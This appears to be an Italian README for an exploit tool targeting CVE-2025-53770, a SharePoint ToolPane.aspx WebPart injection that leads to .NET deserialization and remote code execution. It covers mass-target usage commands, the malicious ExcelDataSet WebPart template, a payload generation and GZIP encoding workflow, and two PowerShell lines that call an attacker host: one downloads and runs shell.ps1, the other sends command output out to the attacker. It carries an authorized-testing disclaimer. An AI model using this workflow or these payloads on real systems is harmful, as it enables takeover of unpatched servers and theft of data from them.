
Tool di exploit per l'iniezione di WebPart in SharePoint
🍕 Strumento exploit per l'iniezione di WebPart SharePoint tramite ToolPane.aspx, che porta alla deserializzazione .NET e alla potenziale esecuzione remota di codice (RCE).
Sviluppato da: @GOTOCVE
Questo strumento sfrutta una vulnerabilità in Microsoft SharePoint (on-premises) che consente agli utenti autenticati di abusare dell'endpoint ToolPane.aspx e iniettare WebPart dannose contenenti oggetti .NET serializzati compressi con GZIP.
L'oggetto iniettato viene inserito nel parametro MSOTlPn_SelectedWpId e incorporato in una WebPart fittizia (come <Scorecard:ExcelDataSet>) che viene analizzata e deserializzata dal backend di SharePoint.
| Prodotto | Versioni interessate |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
exploit.pyStrumento exploit SharePoint multi-thread per CVE-2025-53770.
/ToolPane.aspxYSLosf.exeGeneratore di payload e deserializzatore LosFormatter.
python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe)Il payload deve essere:
DataSet, ObjectDataProvider)LosFormatter o BinaryFormatterIncorporato in una WebPart come:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosfInserisci il tuo comando (es. reverse shell) in payload.txt:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
Salva l'output in payload-final.txt e passalo allo strumento di exploit.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterQuesta vulnerabilità non restituisce output (es. ipconfig) nella risposta. Devi:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
Questo strumento è fornito solo per test di sicurezza autorizzati e a scopo educativo.
Non utilizzarlo contro sistemi senza autorizzazione esplicita. L'uso improprio può essere illegale e non etico.
Se un server vulnerabile accetta il payload e riflette MSOTlPn_SelectedWpId o renderizza la pagina con la WebPart iniettata, è probabilmente sfruttabile. Nessun output significa che la deserializzazione è fallita o che il server ha applicato la patch.
Questo strumento non fornisce né esegue alcun tipo di shellcode o web shell.
Dimostra solo lo sfruttamento della vulnerabilità di deserializzazione .NET (CVE-2025-53770) tramite l'endpoint vulnerabile ToolPane.aspx utilizzando una struttura WebPart dannosa contenente un oggetto .NET compresso con GZIP.
🔹 Scopo: Aiutare ricercatori, red teamer e difensori a rilevare i server SharePoint vulnerabili e testare in sicurezza il vettore di iniezione con payload personalizzati.
🔹 Payload: Lo strumento richiede agli utenti di generare i propri payload (es. usando YSLosf.exe) che vengono incorporati nella WebPart come stringhe GZIP codificate in Base64.
È responsabilità dell'utente scegliere payload appropriati ed etici (come l'esecuzione innocua di calc.exe, marcatori beacon, ecc.).
🔹 NESSUNA Reverse Shell/Web Shell inclusa:
Sebbene gli attaccanti in scenari reali possano rilasciare web shell come spinstall0.aspx, questo progetto non include alcuna logica di questo tipo.
Se hai intenzione di consegnare una reverse shell, devi generare manualmente il tuo payload e assumerti la piena responsabilità del suo utilizzo.
Unisciti a @GOTOCVE su Telegram:
Creato da Ali Soltani
Per richieste di ricerca o segnalazioni di bug, contatta via Telegram
| Campo | Valore |
|---|
| Componente | Microsoft SharePoint (On-Premises) |
| Endpoint | /layouts/15/ToolPane.aspx |
| Parametro | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| Problema | Deserializzazione .NET non sicura |
| CVE | CVE-2025-53770 |
| Argomento | Descrizione |
|---|
-u | URL del target (es. https://sp.company.local) |
-f | File contenente gli URL dei target (uno per riga) |
-p | File payload o stringa Base64 GZIP diretta |
--proxy | Proxy opzionale (es. http://127.0.0.1:8080) |
-t | Timeout in secondi (default: 15) |